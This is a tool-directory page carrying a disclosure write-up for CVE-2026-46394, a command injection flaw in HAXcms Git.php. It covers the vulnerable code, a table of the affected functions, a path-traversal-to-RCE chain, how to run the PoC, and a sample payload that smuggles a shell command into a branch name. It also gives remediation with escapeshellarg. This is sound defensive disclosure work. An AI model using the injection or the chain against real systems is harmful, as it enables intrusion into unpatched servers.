Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/shreyas-challa/cve-2026-46394-haxcms-git-command-injection
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubshreyas-challa/cve-2026-46394-haxcms-git-command-injection

CVE-2026-46394-haxcms-git-command-injection

PoC and writeup for CVE-2026-46394: OS command injection in HAXcms Git.php (CWE-78). Authorized security research only.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-46394 - HAXcms Git.php OS Command Injection (CWE-78)

Proof-of-concept for authorized security testing and research only. The vulnerability described here is fixed in the latest release of HAXcms. This PoC is published so that defenders and researchers can verify the issue on unpatched instances they own or are explicitly authorized to test.

CVECVE-2026-46394
ComponentHAXcms PHP backend - system/backend/php/lib/Git.php
VulnerabilityOS Command Injection (CWE-78)
SeverityHigh - CVSS 3.1 7.2 standalone / 8.1 chained with path traversal
StatusFixed upstream. Affects releases prior to the patch.
Projectelmsln/HAXcms
ReporterShreyas Challa ([email protected])

Summary

The Git.php library in the HAXcms PHP backend builds shell command strings by concatenating unsanitized parameters and passes them straight to proc_open(). Of the 17 functions that execute shell commands, only one (commit()) uses escapeshellarg(). The remaining 15 interpolate caller input directly into the command string.

Any value containing shell metacharacters (&, ;, |, $(), backticks) that reaches one of these functions results in arbitrary OS command execution as the web-server user.

The single correctly-escaped function is the clearest evidence that the escaping was understood and simply omitted everywhere else.

Root cause

Every vulnerable function flows through run() → run_command() → proc_open():

root@kitploit:~
// Git.php:408-411 - builds a raw command string
public function run($command) {
    return $this->run_command(Git::get_bin() . " " . $command);
}

// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);

Vulnerable example vs. the one safe function:

root@kitploit:~
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
    return $this->run("branch $branch");
}

// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
    return $this->run("commit -av -m " . escapeshellarg($message));
}

All affected functions

FunctionLineShell commandEscaped?
create_branch($branch)574branch $branchNO
delete_branch($branch)588branch -d $branchNO
checkout($branch)663checkout $branchNO
merge($branch)677merge $branch --no-ffNO
push($remote, $branch)785push $remote $branch $flagsNO
pull($remote, $branch)799pull $remote $branchNO
log($format)813log --pretty=format:"$format"NO
show($commit, $format)830show --pretty=format:"$format" $commitNO
list_tags($pattern)763tag -l $patternNO
clone_to($target)512clone --local $repo $targetNO
clone_from($source)527clone --local $source $repoNO
clone_remote($source)543clone $source $repoNO
set_remote($dest, $url)460remote add $dest $urlNO
rm($files)

Exploitation in context

In the shipped codebase these functions are invoked with values drawn from server/site configuration rather than directly from request bodies, so exploitation is realized by chaining:

  • Path traversal → config poisoning → RCE: use the saveOutline path traversal to overwrite a site's site.json, injecting metacharacters into metadata.site.git.branch. The next gitCommit() calls push('origin', $branch) at HAXCMSSite.php:584, executing the payload.
  • Any other mechanism that writes git branch/remote settings into a manifest reaches create_branch() (Operations.php:2762) or set_remote() (HAXCMSSite.php:625).

Running the PoC

The PoC drives the real Git.php library directly: it spins up a throwaway git repo, calls create_branch() with a payload that uses a shell command separator, and confirms execution by checking for a proof file written to disk. It cleans up after itself.

Prerequisites

  • PHP CLI (7.x or 8.x)
  • git on PATH
  • A copy of the HAXcms PHP backend
root@kitploit:~
git clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection

Run

Point the PoC at the Git.php from your HAXcms clone (env var or first argument); it also auto-discovers haxcms-php/ placed next to it:

root@kitploit:~
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php

# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php

Works on both Unix (; separator) and Windows (& separator); the PoC selects the right payload for the host OS automatically.

Sample output

root@kitploit:~
================================================================
  HAXcms Git.php - OS Command Injection (CWE-78)
================================================================

STEP 3: Inject OS command via create_branch()
  Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"

STEP 4: Verify injected command executed
  FILE FOUND!
    Content: COMMAND_INJECTION_PROOF
  COMMAND INJECTION CONFIRMED.

Remediation

Apply escapeshellarg() to every parameter in all 15 functions:

root@kitploit:~
// BEFORE
public function create_branch($branch) {
    return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
    return $this->run("branch " . escapeshellarg($branch));
}

Defense in depth - validate values before they reach the git layer:

root@kitploit:~
function validateBranchName($branch) {
    return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}

Update to the latest HAXcms release, which contains the upstream fix.

Responsible disclosure

This issue was reported to the HAXcms maintainers and fixed before publication. The PoC is released only after a patch was available. Use it exclusively against systems you own or are explicitly authorized to test.

Legal / authorized-use notice

This material is provided for defensive research, education, and authorized security testing. Running it against systems without explicit permission may be illegal. You are solely responsible for complying with all applicable laws and for obtaining authorization before testing. Provided "as is" with no warranty (see LICENSE).

Download Tool
479
rm $files
NO
add_tag($tag, $msg)749tag -a $tag -m $msg$tag: NO, $msg: yes
commit($message)496commit -av -m $messageYES (only safe one)